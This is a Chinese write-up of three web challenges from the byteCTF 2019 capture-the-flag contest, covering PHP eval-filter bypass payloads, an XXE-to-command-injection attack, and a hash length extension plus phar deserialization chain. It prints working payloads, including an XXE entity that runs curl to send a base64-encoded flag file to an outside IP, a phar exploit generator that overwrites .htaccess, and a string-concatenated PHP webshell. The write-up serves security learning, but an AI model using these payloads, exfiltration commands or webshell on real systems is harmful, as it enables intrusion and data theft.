byteCTF 2019

本文做者:z3r0yu  由「合天智匯」公衆號首發,未經容許,禁止轉載!php

 

0x00 前言

週末的比賽質量仍是挺高的,特別是boring_code,有點燒腦可是作的就很開心。html

 

0x01 boring_code

題目描述

http://112.125.25.2:9999web

 

題目解答

題目上來的郵件源碼中給了提示,因此直接分析目錄獲得了對應的程序源碼正則表達式

 <?php
function is_valid_url($url) {
 if (filter_var($url, FILTER_VALIDATE_URL)) {
  if (preg_match('/data:\/\//i', $url)) {
   return false;
  }
  return true;
 }
 return false;
}

if (isset($_POST['url'])) {
 $url = $_POST['url'];
 if (is_valid_url($url)) {
  $r = parse_url($url);
  print_r($r);
  if (preg_match('/baidu\.com$/', $r['host'])) {
   echo "pass preg_match";
   $code = file_get_contents($url);
   print_r($code);
// 下面這個正則約束了只能是phpinfo();這樣的形式
// 因此基原本說 php://input 是不行了
   if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
    if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
     echo 'bye~';
    } else {
     eval($code);
    }
   }
  } else {
   echo "error: host not allowed";
  }
 } else {
  echo "error: invalid url";
 }
} else {
 highlight_file(__FILE__);
}

能夠看到這個題目基本是以file_get_contents函數爲界限分爲了兩個部分:shell

  1. 須要bypass filter_varparse_url  和 preg_match('/baidu\.com$/', $r['host'])  這三個函數的限制;安全

  2. 須要bypass 在eval函數以前的那一堆正則限制cookie

 

首先針對第一個部分,我所知的有三種解決方案:app

  1. 購買一個含有baidu.com字符的域名,好比z3r0yu.bytebaidu.com (剛開始bypass太困難,5am3師傅咬了咬牙直接就買了,氪金解決一切啊)ssh

  2. 使用ftp協議,ftp://ip:port,baidu.com:80/filename.txtcurl

  3. 使用一個百度的任意跳轉的漏洞(還真有)post.baidu.com ,具體能夠參考 :https://www.4xseo.com/marketing/1280/#title-0

第一部分過了以後就須要bypass對shell的限制了,由於此處限制的比較死,因此以前的那些執行方式就通通失效了

首先先構思一個簡單的payload,以下

echo(readfile(end(scandir('.'))));

  

由於 . 對應的是 chr(46),因此payload就能夠是以下的形式

echo(readfile(end(scandir(chr(46)))));

  

可是正則表達式限制了不可以在函數中使用參數,因此以後咱們能夠看看系統中還剩什麼函數可使用

可使用以下方式來進行初步fuzz

<?
var_dump(gettype(get_defined_functions()));
var_dump(count(get_defined_functions()[internal]));
// var_dump(preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', '111'));

$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) { 
    if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_|-/i', get_defined_functions()[internal][$i])) {
        $i_need_func[$j]=get_defined_functions()[internal][$i];
        $j++;
    }
}
print_r($i_need_func);

 

能夠看到基本使用函數來獲取外部導入變量是不可能的了,可是關注到一個函數 phpversion() 能夠返回對應的php版本,也就是 7 這個數字

那麼接下來就是數學題了,如何利用剩下的數學函數來構造出數字 46 , 最終利用以下方式構造出

var_dump(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));

  

從而獲得了 .

PS: 隨後也fuzz出 localeconv() 函數的返回值中有一個 . (fuzz腳本附在最後)

因此此時已經能夠能夠完成對當前目錄文件的讀取,可是題目提示文件是在上一層目錄中,因此咱們還須要構造 .. 來跳到上一級目錄,此處剛開始也卡了很久,但隨後忽然想到 ls -a 以後系統不就自帶兩點,這不是系統特性嘛,因此就有了以下paylaod

var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));

 

 

以後就是使用chr函數進行跳到上一級目錄,可是跳完還有一個問題,就是該怎麼再次獲取一個.出來,chr函數的返回值是布爾值,那麼以後就將布爾值True做爲參數放在fuzzer中看能獲得什麼結果,最後fuzz輪次不同時發現 time 函數返回的結果也不同,隨後查了一下手冊,便意識到可使用這種方式來進行構造一個46出來,因此構造出以下payload

localtime(time(1))

  

綜上就能夠構造出payload以下

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

  

另外一種payload能夠構造以下

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

  

因此這題再限制一下長度估計會更難

我在解題時使用的粗糙fuzzer

<?php
var_dump(gettype(get_defined_functions()));
var_dump(count(get_defined_functions()[internal]));
// var_dump(preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', '111'));

$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) {
    if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_/i', get_defined_functions()[internal][$i])) {
        $i_need_func[$j]=get_defined_functions()[internal][$i];
        $j++;
    }
}
// print_r($i_need_func);
// $res=array();
// $t=0;
try {
    for ($i=0; $i < count($i_need_func); $i++) {
        if(!is_null($i_need_func[$i]())){
            echo $i_need_func[$i];
            var_dump($i_need_func[$i]());
        }
// if (var_dump(print_r($i_need_func[$i](chr(46))))) {
//     echo $i_need_func[$i];
//     $res[$t]=$i_need_func[$i];
//     $t++;
// }
    }
} catch (\Throwable $th) {
//throw $th;
}

// print_r($res);

  

最後再簡要提一下我看到的另外兩種payload

兩中payload都是利用了hash的特徵

paylaod1

readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))); 

 

原理:hebrevc(crypt(arg))能夠隨機生成一個hash值 第一個字符隨機是 $(大機率) 或者 .(小几率) 而後經過ord chr只取第一個字符

 

 

payload2

if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

原理:crypt(serialize(array())) 緣由同上

 

 

PS: 這種也能夠利用fuzzer發現,就像發現time函數那樣,檢測輪次中結果的變化便可

 

0x02 RSS

題目描述

http://112.126.96.50:9999

 

題目解答

這題基本是個原題,只是 create_function 的位置改變了,任意文件讀取改爲了xxe來完成,域名限制的突破也可使用購買域名來實現

POST /fetch HTTP/1.1
Host: 112.126.96.50:9999
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://112.126.96.50:9999/
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Connection: close
Upgrade-Insecure-Requests: 1

rss_url=http://z3r0yu.bytebaidu.com:2233/exp7.xml

payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY test SYSTEM "http://localhost/rss_in_order?rss_url=http%3a%2f%2f47.90.204.28%3a2233%2ffile.xml&order=description%2c%22c%22)%3b%7dsystem(%22curl+http%3a%2f%2f47.90.204.28%3a2233%2f%60cat%20%2fflag_eb8ba2eb07702e69963a7d6ab8669134%20%7c%20base64%60%22)%3b%2f%2f">]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>先知安全技術社區</title>
        <link>http://xz.aliyun.com/forum/</link>
        <description>先知安全技術社區</description>
        <atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link>
        <language>zh-hans</language>
        <lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate>


        <item><title>&test;</title><link>http://xz.aliyun.com/t/5514</link><description>利用Excel power query實現遠程DDE執行</description><pubDate>Tue, 02 Jul 2019 06:03:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5514</guid></item>

        <item><title>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</title><link>http://xz.aliyun.com/t/5310</link><description>CVE-2019-0221—Apache Tomcat SSI printenv指令中的XSS</description><pubDate>Mon, 03 Jun 2019 09:09:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5310</guid></item>
</channel>
</rss>

 

 

 

(注:想掌握XXE漏洞的原理,學會XXE漏洞利用技術以及防護方法,可來合天網安實驗室操做實驗——XXE漏洞攻擊與防護

 

0x03 ezcms

題目描述

http://112.126.102.158:9999

 

題目解答

首先是一個源碼泄露

112.126.102.158:9999/www.zip

  

看到config.php中的is_admin函數時,就基本能夠判斷,此處可使用hash擴展攻擊bypass

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

  

哈希長度擴展攻擊的通常利用步驟以下:

  • 知道md5($secret.$username.$password)的值

  • 知道$SECRET的長度

  • 咱們能夠算出另一個 md5 值和另一個user的值,使得$COOKIE['user'] == md5($secret.$username.$password)

因此首先輸入任意密碼登陸後在cookie中獲取到對應的hash

document.cookie
"PHPSESSID=bodvgts7e1v6duqtcvq0miplul; hash=b1a9c01292d57c0d2010add7f8d10c41"

 

以後,由於要僞造的password的值爲admin,因此對應的長度是 len($SECRET)+len($password)=13

最後使用hashpump僞造獲得對應的值

Input Signature: b1a9c01292d57c0d2010add7f8d10c41
Input Data: admin
Input Key Length: 13
Input Data to Add: zeroyu
f27536145794288b2c1f94f0a62695a9
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00zeroyu

  

以後將\x換爲%便可獲得對應的payload

admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00zeroyu

 

以後就能夠用admin的身份來上傳文件了

從代碼中能夠看到,webapp是本身生成了一個.htaccess文件來阻止對咱們shell的解析,因此咱們的目標就是覆蓋或者刪除這個文件。

有文件上傳點,源碼中有類,還有一個疑似能夠觸發phar反序列化的點,基本就能夠判斷這是一個反序列化漏洞。

大概看了一下官方手冊,發現 mime_content_type 函數的實現,其實也是經過讀取對應的文件來實現的,既然讀文件就有可能會觸發phar發序列化漏洞,以後本地測試發現的確能夠觸發。

前面的協議限制咱們可使用php僞協議來進行繞過

preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)

  

對應的繞過

php://filter/read=convert.base64-encode/resource=phar://filename.phar

  

以後就是找一條pop鏈來完成對.htaccess的修改,最開始想使用move_uploaded_file函數將文件移走,可是後面發現move_uploaded_file的第一個參數必須是post傳遞的,所以失敗。

後面就關注到Profile類__call函數

function __call($name, $arguments)
{
    $this->admin->open($this->username, $this->password);
}

  

雖然webapp自身沒有提供對應的函數,可是php系統中是否存在某個類能夠完成文件修改的效果,因此順着這個思路就找到了ZipArchive::open 對應的手冊說明:

 

https://www.php.net/manual/zh/ziparchive.open.php

因此最終構造出的exp以下

<?php
class File{
    public $filename;
    public $filepath;
    public $checker;
}

class Profile{
    public $username;
    public $password;
    public $admin;
}


$o = new File();
$o->checker=new Profile();
$o->checker->admin=new ZipArchive();
$o->checker->username="./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess";
$o->checker->password=ZIPARCHIVE::OVERWRITE;

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //後綴名必須爲phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>

  

以後咱們本地動態調試一下這個鏈,能夠看到是已經觸發了的,而且觸發以後.htaccess文件也被修改了

 

 

以後咱們以後須要上傳一個bypass限制的webshell,而後再觸發反序列化刪掉.htaccess文件便可getshell

<?php
$z="sys"."tem";
$z($_GET[0]);

 

哈希(Hash)相關內容學習可操做實驗——哈希(Hash)長度擴展攻擊。。

相關文章
相關標籤/搜索